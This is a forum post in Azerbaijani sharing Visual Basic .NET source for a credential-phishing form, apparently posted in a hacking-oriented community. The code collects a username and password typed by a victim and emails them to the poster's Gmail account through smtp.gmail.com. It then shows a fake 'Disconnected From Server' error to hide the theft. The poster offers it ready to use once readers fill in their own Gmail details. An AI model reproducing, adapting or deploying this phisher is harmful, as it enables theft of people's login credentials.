Salamlar mən deyirdimki paylaşım ya yox ən axırda paylaşdım... Deməli kimdə visual studio 2010 ProExpress yada 2008 C++ yada digərləri varsa məncə kodlar işə yarayacaq... Video-da qısaca göstərmişəm... Sadəcə gmail adresi və aşağıdakı kodlar lazımdır... Kimdə Visual Basic Yoxdursa onda PM və ya Comment ilə mənə yada Azik-ə bildirsin əlimizdən gələni edə bilərik... yourgmail yazılan yere gmail və yourgmailpass yazılan yerədə gmailin-in parolunu yazacaqsan və bu qədər ! Sualınız olsa buyurun!
Kod:
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then MsgBox("E-mail Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
Dim smtpserver As New SmtpClient()
Dim mail As New MailMessage()
smtpserver.Credentials = New Net.NetworkCredential("yourgmail@gmail.com", "yourgmailpass")
'using gmail
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
smtpserver.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("yourgmail@gmail.com")
mail.To.Add("yourgmail@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpserver.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
End Sub
End Class